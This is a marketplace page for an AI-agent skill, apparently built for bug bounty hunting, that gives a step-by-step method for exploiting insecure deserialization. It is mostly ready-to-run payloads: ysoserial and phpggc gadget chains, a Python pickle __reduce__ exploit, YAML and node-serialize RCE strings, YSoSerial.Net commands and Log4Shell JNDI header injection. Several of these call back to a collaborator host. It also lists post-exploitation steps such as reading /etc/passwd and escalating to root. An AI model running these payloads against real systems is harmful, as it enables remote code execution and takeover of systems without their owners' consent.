Claude Skill

hunt-deserialization

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickl

LLM Mart · 0 points · 16 views 0 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download elementalsouls-Claude-BugHunter-skills_hunt-deserialization-1f9cdb6.zip · 2 KB
Part of elementalsouls/claude-bughunter — 83 skills

Install

skills CLI npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-deserialization
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart
Git git clone https://github.com/elementalsouls/Claude-BugHunter.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole elementalsouls/claude-bughunter collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection — __wakeup / __destruct magic methods → file write / RCE
  • Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — GemRequirement, GemInstaller gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
    
  • Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

Deserialization signal Chain to Impact
Any deser RCE /etc/passwd + id output Prove arbitrary command execution
RCE as low-privilege user Find SUID binaries / sudo rules Privilege escalation → root
Blind RCE (OOB callback) DNS callback → confirm exec Sufficient for Critical PoC
Log4Shell LDAP → JNDI → class load Full RCE on JVM process

Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

Files (claude-bughunter)
  • SKILL.md 6 KB
    ---
    name: hunt-deserialization
    description: Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
    sources: hackerone_public
    report_count: 22
    ---
    
    # HUNT-DESERIALIZATION — Insecure Deserialization
    
    ## Crown Jewel Targets
    
    Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
    
    **Highest-value chains:**
    - **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
    - **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
    - **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
    - **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
    - **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
    - **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
    
    ---
    
    ## Attack Surface Signals
    
    ### Detection Patterns
    ```bash
    # Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
    echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05
    
    # PHP serialization: O:8:"stdClass":0:{}
    # Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
    
    # Apache Shiro: rememberMe cookie present
    curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
    
    # Log4j: test user-controlled fields for JNDI interpolation
    curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
    ```
    
    ### Header / Cookie Signals
    ```
    Content-Type: application/x-java-serialized-object
    Cookie containing rO0= prefix (Java base64 serialized)
    Cookie: rememberMe= (Apache Shiro)
    Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
    Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
    ```
    
    ---
    
    ## Step-by-Step Hunting Methodology
    
    ### Phase 1 — Java Deserialization (ysoserial)
    ```bash
    # Install ysoserial
    wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
    
    # Generate OOB detection payload
    java -jar ysoserial-all.jar CommonsCollections6 \
      'curl http://COLLAB_HOST/ysoserial' | base64 -w0
    
    # Send as body or cookie
    java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
      curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
        -H "Content-Type: application/x-java-serialized-object" \
        --data-binary @-
    
    # Apache Shiro exploit (default AES key)
    python3 shiro_exploit.py -u https://$TARGET/ -c "id"
    ```
    
    ### Phase 2 — PHP Object Injection
    ```bash
    # Find unserialize() calls in source
    grep -r "unserialize(" --include="*.php" .
    
    # Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
    # Send in cookie, POST param, or hidden form field
    # If error changes → deserialization confirmed
    
    # Craft gadget chain using phpggc
    git clone https://github.com/ambionics/phpggc
    php phpggc -l  # list chains
    php phpggc Laravel/RCE5 system id | base64
    ```
    
    ### Phase 3 — Python Pickle
    ```bash
    # Generate OOB payload
    python3 -c "
    import pickle, os, base64
    class Exploit(object):
        def __reduce__(self):
            return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
    print(base64.b64encode(pickle.dumps(Exploit())).decode())
    "
    
    # Send as cookie or POST body
    curl -s https://$TARGET/api/load-model \
      -H "Content-Type: application/octet-stream" \
      --data-binary @payload.pkl
    ```
    
    ### Phase 3b — PHP phar://, Python YAML, Node deserialization
    - **PHP phar:// (no `unserialize()` call)** — any filesystem function (`file_exists`/`fopen`/`getimagesize`) on a `phar://` path deserializes the archive metadata -> object injection with zero `unserialize()` in code.
      ```bash
      phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
      # then reach  phar://uploads/poly.jpg/x  via any fs call
      ```
    - **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
      `!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
    - **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
      `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
    
    ### Phase 4 — .NET ViewState
    ```bash
    # Check if ViewState is unsigned (MAC disabled)
    # Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
    
    # YSoSerial.Net
    dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
      -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
    ```
    
    ### Phase 5 — Log4Shell / JNDI
    ```bash
    # Test all user-controlled inputs
    COLLAB="COLLAB_HOST"
    for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
      curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
    done
    
    # Test POST body fields
    curl -s -X POST https://$TARGET/api/login \
      -H "Content-Type: application/json" \
      -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
    ```
    
    ### Phase 6 — Ruby Marshal
    ```bash
    # Look for Marshal.load in source
    grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
    
    # Gem::Requirement gadget chain via marshalable objects
    # Use ruby-advisory-db gadgets
    ```
    
    ---
    
    ## Chain Table
    
    | Deserialization signal | Chain to | Impact |
    |-----------------------|----------|--------|
    | Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
    | RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
    | Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
    | Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
    
    ---
    
    ## Automation
    ```bash
    # OOB listener
    interactsh-client -v -n 5
    
    # JNDI exploit kit
    git clone https://github.com/pimps/JNDI-Exploit-Kit
    ```
    
    ---
    
    ## Validation
    
    ✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
    ✅ Command output in response: full RCE confirmed
    
    **Severity:** Almost always **Critical** — RCE with server process privileges.
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related